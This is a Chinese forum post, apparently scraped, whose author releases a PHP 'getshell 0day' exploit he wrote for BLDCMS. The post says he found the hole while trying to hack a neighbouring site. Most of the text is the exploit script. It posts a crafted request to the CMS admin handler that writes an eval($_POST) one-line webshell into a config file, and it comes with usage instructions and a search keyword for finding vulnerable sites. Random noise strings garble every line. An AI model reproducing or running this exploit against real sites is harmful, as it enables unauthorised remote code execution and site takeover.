之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
( ~+ K K/ r( d) W" f9 n0 ]3 z$ |: D& Y5 J) t! B6 I
6 t/ w9 e, T) {* k* X话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 0 a1 O9 T* T! r
, f* s9 Q$ U' ?9 W8 G7 b/ l3 |) D( ?: N* S既然都有人发了 我就把我之前写好的EXP放出来吧
6 y: I8 z% W4 {. r* s : h! `; G; |) i2 p% ~. p
view source print?01.php;">6 ^2 @' `% y* k, L( v8 L. U5 {
02.<!--?php
1 a; k. I+ P- O9 m1 C03.echo "-------------------------------------------------------------------/ y1 f# u5 L6 k0 p/ h* l. ^
04.
; u3 r& f/ ] G) s' l) b5 o05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP' o0 y5 b" l' ~1 n+ M" |
06. - w& p% }) f& R W" [
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun) d$ q, t# J o% Z3 r* l
08. 9 O* s1 u, v6 {9 F& z$ ^
09.QQ:981009941\r\n 2013.3.21\r\n 5 t! W+ h; ]; u9 G
10.
5 `8 n' l: {! p- g) ^8 f11.
# w' C" h+ X* @12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码" V) F. }; n5 h3 M0 |1 u% U
13.
* Q3 u4 z$ ?# [14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------5 W0 P3 d$ U8 ^9 j2 Y; _# X
15.
+ y0 ?$ E6 a' `" p16.--------------------------------------------------------------------\r\n";& e$ ~# o4 I$ q8 S" x* O
17.$url=$argv[1];
8 l; f7 L9 i6 I5 h* p5 J! q18.$dir=$argv[2];
s9 Y4 b8 X' n$ I# _19.$pass=$argv[3];" d6 Z* ]0 C: F& e) T2 y% R
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
& o/ x. G! X p) U' U+ c) g21.if (emptyempty($pass)||emptyempty($url))
3 M: @5 o8 a3 ^/ g& k+ u$ v5 G; I22.{exit("请输入参数");}% E b# x W8 k
23.else
8 T9 }9 f' N: G9 B3 ], |* n24.{3 R) g; e+ D2 Y j7 Z. N" s
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev. E, |1 @( }4 x, n9 K
26. * Z& Z) b& O* b2 T5 ]
27.al;
1 Q- p0 }% C2 U" ]7 r! x9 A28.$length = strlen($fuckdata);
4 V, G( ?( d. W$ ?. p2 Z* v29.function getshell($url,$pass)4 C4 M( s; X: \' e$ W( @
30.{
; E* {* \* C1 [ |/ D# a31.global $url,$dir,$pass,$eval,$length,$fuckdata;. V8 D$ i: R+ D! z) @, D
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";0 A. [. h( p7 u3 A' ], i1 o4 ?' l
33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
) i0 U2 h. T! e& g! W- @34.$header .= "User-Agent: MSIE\r\n";
; I* E+ G. G5 q; R# ~. f q35.$header .= "Host:".$url."\r\n";
2 O: N t( I" [" z& \; ^36.$header .= "Content-Length: ".$length."\r\n";
1 o$ d, o0 F: D& b7 M37.$header .= "Connection: Close\r\n";
+ u. N2 L# B! p, i1 D% L38.$header .="\r\n";
1 \ R2 C4 s" z/ }2 c9 F39.$header .= $fuckdata."\r\n\r\n";
7 m' Q2 }. e7 N+ V0 L$ j: Y! j$ L( r40.$fp = fsockopen($url, 80,$errno,$errstr,15);
( S& z8 ]' ?2 q! `& Z) n41.if (!$fp)" K, s& @4 d8 P7 ]6 Q
42.{
8 E# o: Z0 V+ G43.exit ("利用失败:请检查指定目标是否能正常打开");2 P0 ~, w h3 O" q6 y
44.}0 R" E- ]0 F5 Q4 ?9 d
45.else{ if (!fputs($fp,$header))0 w- e& L! F' @% c" ?3 @
46.{exit ("利用失败");}0 B9 S! m# ]# C! Z% A* I; d; N! L% A
47.else
2 H: F4 M* R6 ?6 t48.{: k+ M) w2 A6 }5 T3 H, {& y
49.$receive = '';
1 U, C/ |$ D5 Y' U" I- K50.while (!feof($fp)) {$ `6 v, [5 s7 ~7 U1 J C
51.$receive .= @fgets($fp, 1000);+ ?9 ^! l9 @7 Q5 H4 W
52.}
% J9 N: b. H: p3 R0 P5 X- z53.@fclose($fp);
+ L* S5 v5 T ]54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标) e% H& z6 d) P" p" j4 [7 I# O
55. 9 X$ N X! n1 m5 \) P" g
56.GPC是否=off)";( g2 a$ a2 G+ j+ A7 n8 ^
57.}}
+ i! e& T4 M! p1 k6 I58.}) m% i# L( a$ c
59.}: R w- m- n$ n1 V6 T; h
60.getshell($url,$pass);
5 ?" W1 ], J- N0 H8 l, U61.?-->
3 s+ z4 _1 Q$ T8 J+ n# e$ E: D
0 w: W. E( a* W' _2 c* J# a5 h/ ]/ j) D% m0 e
/ A( W0 Z# `+ |; i- kby 数据流( L9 Z9 g7 P' v; b, I
|